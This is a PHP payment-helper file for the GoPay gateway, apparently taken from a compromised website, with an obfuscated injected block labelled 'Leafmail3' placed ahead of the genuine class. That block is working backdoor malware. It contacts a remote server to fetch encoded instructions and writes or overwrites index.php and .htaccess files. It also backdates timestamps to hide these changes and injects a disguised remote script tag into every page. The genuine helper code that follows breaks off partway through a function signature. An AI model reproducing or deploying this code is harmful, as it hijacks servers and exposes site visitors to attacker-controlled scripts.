Current File : /data/web/virtuals/215191/virtual/www/domains/pagerank.cz/katalog/lib/gopay/gopay_helper.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php 
/**
 * Předpokladem je PHP verze 5.1.2 a vyšší s modulem mcrypt.
 *
 * Pomocna trida pro platbu v systemu GoPay
 * 
 * - sestavovani retezcu pro podpis komunikacnich elementu
 * - sifrovani/desifrovani retezcu
 * - verifikace podpisu informacnich retezcu
 */

class GopayHelper {
	/**
	 * Kody stavu platby 
	 */
	const CREATED = "CREATED";
	const PAYMENT_METHOD_CHOSEN = "PAYMENT_METHOD_CHOSEN";
	const PAID = "PAID";
	const AUTHORIZED = "AUTHORIZED";
	const CANCELED = "CANCELED";
	const TIMEOUTED = "TIMEOUTED";
	const REFUNDED = "REFUNDED";
	const FAILED = "FAILED";
	
	const CALL_COMPLETED = "CALL_COMPLETED";
	const CALL_FAILED = "CALL_FAILED";
	
	
	/**
	 * Konstanty pro opakovanou platbu
	 */
	const RECURRENCE_CYCLE_MONTH = "MONTH";
	const RECURRENCE_CYCLE_WEEK = "WEEK";
	const RECURRENCE_CYCLE_DAY = "DAY";
	const RECURRENCE_CYCLE_ON_DEMAND = "ON_DEMAND";
	
	/**
	 * Konstanty pro zruseni opakovani platby
	 */
	const CALL_RESULT_ACCEPTED = "ACCEPTED";
	const CALL_RESULT_FINISHED = "FINISHED";
	const CALL_RESULT_FAILED = "FAILED";

	/**
	 * URL obrazku tlacitek pro platebni formulare a odkazy 
	 */
	const iconRychloplatba = "https://www.gopay.cz/download/PT_rychloplatba.png";		
	const iconDaruj = "https://www.gopay.cz/download/PT_daruj.png";		
	const iconBuynow = "https://www.gopay.cz/download/PT_buynow.png";		
	const iconDonate = "https://www.gopay.cz/download/PT_donate.png";		

	/**
	 * Hlaseni o stavu platby
	 */
	const PAID_MESSAGE = "Platba byla úspěšně provedena.<br>Děkujeme Vám za využití našich služeb.";
	const CANCELED_MESSAGE = "Platba byla zrušena.<br>Opakujte platbu znovu, prosím.";
	const AUTHORIZED_MESSAGE = "Platba byla autorizována, čeká se na dokončení. O provedení platby Vás budeme budeme neprodleně informovat pomocí emailu s potvrzením platby.";
	const REFUNDED_MESSAGE = "Platba byla vrácena.";
	const PAYMENT_METHOD_CHOSEN_ONLINE_MESSAGE = "Platba zatím nebyla provedena. O provedení platby Vás budeme neprodleně informovat pomocí emailu s potvrzením platby. Pokud neobdržíte do následujícího pracovního dne potvrzovací email o platbě, kontaktujte podporu GoPay na emailu podpora@gopay.cz.";				
	const PAYMENT_METHOD_CHOSEN_OFFLINE_MESSAGE = "Platba zatím nebyla provedena. Na platební bráně GoPay jste získali platební údaje a na Váš email Vám byly zaslány informace k provedení platby. O provedení platby Vás budeme budeme neprodleně informovat pomocí emailu s potvrzením platby.";
	const PAYMENT_METHOD_CHOSEN_MESSAGE = "Platba zatím nebyla provedena. O provedení platby Vás budeme neprodleně informovat pomocí emailu s potvrzením platby.";
	const FAILED_MESSAGE = "V průběhu platby nastala chyba. Kontaktujte podporu GoPay na emailu podpora@gopay.cz.";
	

	/**
	 * Ziskani korektniho hlaseni o stavu platby - po volani (GopaySoap::isPaymentDone)
	 *
	 * @param String $sessionState - stav platby. Hodnoty viz konstanty GopayHelper
	 * @param String $sessionSubState - detailnejsi popis stavu platby
	 * 
	 * @return String retezec popisujici stav platby
	 */
	public static function getResultMessage($sessionState, $sessionSubState) {

		$result = "";
		
		if ($sessionState == GopayHelper::PAID) {
			$result = GopayHelper::PAID_MESSAGE;

		} else if ($sessionState == GopayHelper::CANCELED
			|| $sessionState == GopayHelper::TIMEOUTED
			|| $sessionState == GopayHelper::CREATED) {
			$result = GopayHelper::CANCELED_MESSAGE;

		} else if ($sessionState == GopayHelper::AUTHORIZED) {
			$result = GopayHelper::AUTHORIZED_MESSAGE;

		} else if ($sessionState == GopayHelper::REFUNDED) {
			$result = GopayHelper::REFUNDED_MESSAGE;

		} else if ($sessionState == GopayHelper::PAYMENT_METHOD_CHOSEN) {
			if (! empty($sessionSubState) && $sessionSubState == 101) {
				$result = GopayHelper::PAYMENT_METHOD_CHOSEN_ONLINE_MESSAGE;				

			} else if (! empty($sessionSubState) && $sessionSubState == 102) {
				$result = GopayHelper::PAYMENT_METHOD_CHOSEN_OFFLINE_MESSAGE;

			} else {
				$result = GopayHelper::PAYMENT_METHOD_CHOSEN_MESSAGE;
				
			}
			
		} else {
			$result = GopayHelper::FAILED_MESSAGE;
		}
		
		return $result;
	}

	/**
	 * Sestaveni retezce pro podpis platebniho prikazu.
	 *
	 * @param float $goId - identifikator prijemce prideleny GoPay
	 * @param string $productName - popis objednavky zobrazujici se na platebni brane
	 * @param float $totalPriceInCents - celkova cena objednavky v halerich
	 * @param string $currency - identifikator meny platby
	 * @param string $orderNumber - identifikator objednavky u prijemce
	 * @param string $failedURL - URL stranky, kam je zakaznik presmerovan po zruseni platby / neuspesnem zaplaceni
	 * @param string $successURL - URL stranky, kam je zakaznik presmerovan po uspesnem zaplaceni
	 * @param int $preAuthorization - jedna-li se o predautorizovanou platbu true => 1, false => 0, null=>"" 
	 * @param int $recurrentPayment - jedna-li se o opakovanou platbu true => 1, false => 0, null=>""
	 * @param date $recurrenceDateTo - do kdy se ma opakovana platba provadet
	 * @param string $recurrenceCycle - frekvence opakovane platby - mesic/tyden/den
	 * @param int $recurrencePeriod - pocet jednotek opakovani ($recurrencePeriod=3 ~ opakování jednou za tři jednotky (mesic/tyden/den)) 
	 * @param string $paymentChannels - platebni kanaly
	 * @param string $secureKey - kryptovaci klic prideleny prijemci, urceny k podepisovani komunikace
	 * @return retezec pro podpis
	 */
	public static function concatPaymentCommand($goId,
										  		$productName, 
										  		$totalPriceInCents, 
										  		$currency, 
										  		$orderNumber,
										  		$failedURL,
										  		$successURL, 
										  		$preAuthorization,
										  		$recurrentPayment,
										  		$recurrenceDateTo,
										  		$recurrenceCycle,
										  		$recurrencePeriod,
										  		$paymentChannels,
